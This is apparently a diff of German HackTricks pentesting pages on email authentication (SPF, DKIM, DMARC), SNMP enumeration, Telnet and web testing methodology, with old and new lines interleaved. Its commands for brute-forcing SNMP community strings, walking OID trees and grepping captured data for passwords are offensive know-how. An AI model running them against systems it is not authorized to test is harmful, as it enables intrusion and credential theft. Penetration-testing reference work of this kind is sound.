| REDIRECT | <p>Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.</p> |
Es ist auch möglich, **Qualifizierer** zu identifizieren, die **angeben, was zu tun ist, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifizierer "+"** verwendet (wenn also ein Mechanismus übereinstimmt, bedeutet das, dass es erlaubt ist).\
Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) markiert oder (-) abgelehnt werden sollte.**
Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) oder abgelehnt (-) markiert werden sollte.**
#### Qualifizierer
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren:
- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist.
- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleich `mx` ist.
- **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
- **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert.
- **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte.
@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail**, die von einer **Domain ohne einen gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**.
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**.
Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden.
### DKIM (DomainKeys Identified Mail)
DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen.
DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.
Um den Schlüssel anzufordern, sind der Domainname und der Selektor erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`.
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`.
Ein Befehl, um diese Informationen abzurufen, könnte so aussehen:
```bash
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich des Umgangs mit Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Handhabung von Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
**Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain \_dmarc abfragen**
```bash
@ -341,11 +341,11 @@ Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher ei
> Die Dämonenfrage: Was ist mit Subdomains?
>
> Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten.
> Wenn ich E-Mails von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten.
>
> Daher lautet der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
> Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
>
> Websites mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
> Seiten mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben.
@ -473,7 +473,7 @@ s.sendmail(sender, [destination], msg_data)
{{#endtab}}
{{#endtabs}}
### **Weitere Informationen**
### **Mehr Informationen**
**Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Normalerweise, wenn installiert, befindet sich in `/etc/postfix/master.cf` **Skripte zur Ausführung**, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.
In der Regel, wenn installiert, befindet sich in `/etc/postfix/master.cf` **Skripte zur Ausführung**, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.
Andere Konfigurationsdateien:
```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundlegende Informationen
**SNMP - Simple Network Management Protocol** ist ein Protokoll, das verwendet wird, um verschiedene Geräte im Netzwerk (wie Router, Switches, Drucker, IoTs...) zu überwachen.
@ -15,8 +14,8 @@ PORT STATE SERVICE REASON VERSION
### MIB
Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgelistet sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\
MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird.
Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgeführt sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\
MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo man welche Informationen findet** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird.
### OIDs
@ -28,8 +27,8 @@ Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerha
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was eine OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\
Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser stammen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten.
Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\
Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser abgeleitet sind**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten.
### **OID Beispiel**
@ -39,7 +38,7 @@ Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid
Hier ist eine Aufschlüsselung dieser Adresse.
- 1 dies wird als ISO bezeichnet und stellt fest, dass dies eine OID ist. Deshalb beginnen alle OIDs mit „1“.
- 1 dies wird als ISO bezeichnet und stellt fest, dass dies ein OID ist. Deshalb beginnen alle OIDs mit „1“.
- 3 dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat.
- 6 dies ist das dod oder das Department of Defense, das die Organisation ist, die das Internet zuerst etabliert hat.
- 1 dies ist der Wert des Internets, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden.
@ -48,7 +47,7 @@ Hier ist eine Aufschlüsselung dieser Adresse.
Diese ersten sechs Werte sind für alle Geräte gleich und geben Ihnen die grundlegenden Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, es sei denn, das Gerät wird von der Regierung hergestellt.
Kommen wir zur nächsten Zahlenreihe.
Weiter zur nächsten Zahlenreihe.
- 1452 gibt den Namen der Organisation an, die dieses Gerät hergestellt hat.
- 1 erklärt die Art des Geräts. In diesem Fall handelt es sich um einen Wecker.
@ -69,20 +68,20 @@ Die restlichen Werte geben spezifische Informationen über das Gerät.
Es gibt 2 wichtige Versionen von SNMP:
- **SNMPv1**: Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einer Zeichenfolge** (Community-String), die in **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Verkehr ebenfalls im Klartext** und verwenden einen **Community-String als Authentifizierung**.
- **SNMPv3**: Verwendet eine bessere **Authentifizierungs**form und die Informationen werden **verschlüsselt** übertragen (ein **Dictionary-Angriff** könnte durchgeführt werden, wäre aber viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2).
- **SNMPv3**: Verwendet eine bessere **Authentifizierungs**form und die Informationen werden **verschlüsselt** übertragen (ein **Dictionary-Angriff** könnte durchgeführt werden, wäre aber viel schwieriger, die richtigen Anmeldeinformationen zu finden als in SNMPv1 und v2).
### Community-Strings
Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c und die Anmeldeinformationen in Version 3 kennen.**\
Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c sowie die Anmeldeinformationen in Version 3 kennen.**\
Es gibt **2 Arten von Community-Strings**:
- **`public`** hauptsächlich **nur Lese**-Funktionen
- **`private`** **Lese/Schreib** im Allgemeinen
Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen"** sind.\
Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly` Fehler** empfangen\*\*.\*\*
Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem kann es **Objekte geben**, die **immer "Nur Lesen"** sind.\
Wenn Sie versuchen, ein Objekt zu **schreiben**, erhalten Sie einen **`noSuchName` oder `readOnly` Fehler**\*\*.\*\*
In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er antwortet, wurde ein **gültiger Community-String verwendet**.
In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen **schlechten** Community-String verwenden. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**.
## Ports
@ -90,7 +89,7 @@ In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verw
- Der SNMP-Agent empfängt Anfragen auf UDP-Port **161**.
- Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) auf Port **162**.
- Wenn es mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet.
- Wenn er mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet.
## Brute-Force Community-String (v1 und v2c)
@ -105,7 +104,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
Wenn Sie einen gültigen Community-String kennen, können Sie die Daten mit **SNMPWalk** oder **SNMP-Check** abrufen:
Wenn Sie eine gültige Community-String kennen, können Sie die Daten mit **SNMPWalk** oder **SNMP-Check** abrufen:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -125,9 +124,9 @@ Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das S
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** enthält viele Informationen über den Host, und interessante Punkte sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server/OS-Version und **Prozesse**
**SNMP** enthält viele Informationen über den Host, und interessante Punkte sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **Prozesse**
**die laufen** (könnten Passwörter enthalten)....
**die laufen** (kann Passwörter enthalten)....
### **Gefährliche Einstellungen**
@ -135,20 +134,20 @@ Im Bereich des Netzwerkmanagements sind bestimmte Konfigurationen und Parameter
### Zugriffseinstellungen
Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist:
Zwei Hauptparameter ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist:
1. **`rwuser noauth`** ist so eingestellt, dass es vollen Zugriff auf den OID-Baum ohne Authentifizierung ermöglicht. Diese Einstellung ist unkompliziert und erlaubt uneingeschränkten Zugriff.
2. Für spezifischere Kontrollen kann der Zugriff gewährt werden mit:
- **`rwcommunity`** für **IPv4** Adressen, und
- **`rwcommunity6`** für **IPv6** Adressen.
Beide Befehle erfordern eine **Community-String** und die relevante IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten.
Beide Befehle erfordern eine **Community-String** und die entsprechende IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten.
### SNMP-Parameter für Microsoft Windows
Eine Reihe von **Management Information Base (MIB) Werten** wird verwendet, um verschiedene Aspekte eines Windows-Systems über SNMP zu überwachen:
- **Systemprozesse**: Über `1.3.6.1.2.1.25.1.6.0` aufgerufen, ermöglicht dieser Parameter die Überwachung aktiver Prozesse im System.
- **Systemprozesse**: Zugriff über `1.3.6.1.2.1.25.1.6.0`, dieser Parameter ermöglicht die Überwachung aktiver Prozesse im System.
- **Laufende Programme**: Der Wert `1.3.6.1.2.1.25.4.2.1.2` ist für die Verfolgung aktuell laufender Programme vorgesehen.
- **Prozesspfad**: Um zu bestimmen, wo ein Prozess ausgeführt wird, wird der MIB-Wert `1.3.6.1.2.1.25.4.2.1.4` verwendet.
- **Speichereinheiten**: Die Überwachung von Speichereinheiten wird durch `1.3.6.1.2.1.25.2.3.1.4` erleichtert.
@ -174,11 +173,11 @@ snmp-rce.md
## **Massives SNMP**
[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen zu stellen aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken wie net-snmp benötigt.
**Syntax:** braa \[Community-string]@\[IP des SNMP-Servers]:\[iso id]
**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -200,7 +199,7 @@ grep -i "trap" *.snmp
```
### **Benutzernamen/Passwörter**
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die möglicherweise versehentlich Passwörter enthalten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
Logs, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
```bash
grep -i "login\|fail" *.snmp
```
@ -224,7 +223,6 @@ Wenn es eine ACL gibt, die nur bestimmten IPs erlaubt, den SNMP-Dienst abzufrage
- snmpd.conf
- snmp-config.xml
## HackTricks Automatische Befehle
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@ -237,7 +235,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Das Skript `telnet-ntlm-info.nse` wird NTLM-Informationen (Windows-Versionen) abrufen.
Aus dem [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Im TELNET-Protokoll gibt es verschiedene "**Optionen**", die genehmigt werden und mit der Struktur "**DO, DON'T, WILL, WON'T**" verwendet werden können, um einem Benutzer und einem Server zu ermöglichen, sich auf die Verwendung eines elaborierteren (oder vielleicht einfach anderen) Satzes von Konventionen für ihre TELNET-Verbindung zu einigen. Solche Optionen könnten das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen.
Aus dem [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Im TELNET-Protokoll gibt es verschiedene "**Optionen**", die genehmigt werden und mit der Struktur "**DO, DON'T, WILL, WON'T**" verwendet werden können, um einem Benutzer und einem Server zu ermöglichen, sich auf die Verwendung eines ausgefeilteren (oder vielleicht einfach nur anderen) Satzes von Konventionen für ihre TELNET-Verbindung zu einigen. Solche Optionen könnten das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen.
**Ich weiß, dass es möglich ist, diese Optionen aufzulisten, aber ich weiß nicht wie, also lass es mich wissen, wenn du weißt wie.**
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -37,7 +37,7 @@ web-api-pentesting.md
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
- [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
- [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
- [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
- [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identifizieren
Überprüfen Sie, ob es **bekannte Schwachstellen** für die **Version** des Servers gibt, die ausgeführt wird.\
Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu **identifizieren**, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu identifizieren, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -86,7 +86,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
- [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -145,7 +145,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks im Hinterkopf behalten, die während des Tests nützlich sein können. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks, die Sie während des Tests im Hinterkopf behalten sollten. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
## Schritt-für-Schritt-Webanwendungsentdeckung
@ -175,13 +175,13 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet
Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie:
- **Brute Force**-Anmeldeinformationen
- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
- **Brute Force** Anmeldeinformationen
- **Dateien hochladen** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
### **SSL/TLS-Schwachstellen**
- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM**
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle.
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle.
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
```bash
@ -219,19 +219,19 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zum Laden der Seite geladen wurden.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhaltserkennungstool, das mehrere Optionen der vorherigen Tools kombiniert.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden.
